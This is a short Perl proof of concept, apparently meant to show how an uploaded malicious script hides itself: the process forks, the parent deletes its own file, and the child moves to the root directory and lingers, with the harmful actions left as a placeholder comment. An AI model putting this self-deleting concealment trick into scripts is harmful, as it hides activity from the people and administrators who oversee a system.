Proof-of-concept to hide an exploit used to upload and execute a malicious script.

sneak.pl

#!/usr/bin/perl

$pid = fork();

if ($pid)
{
	print("Deleting $0 to be sneaky...");
	unlink($0);
	exit(0);
}
else
{
	# hide our original location
	chdir "/";

	# stick around so our peeps can see us
	sleep 300;

	# do a bunch of other nasty stuff...
}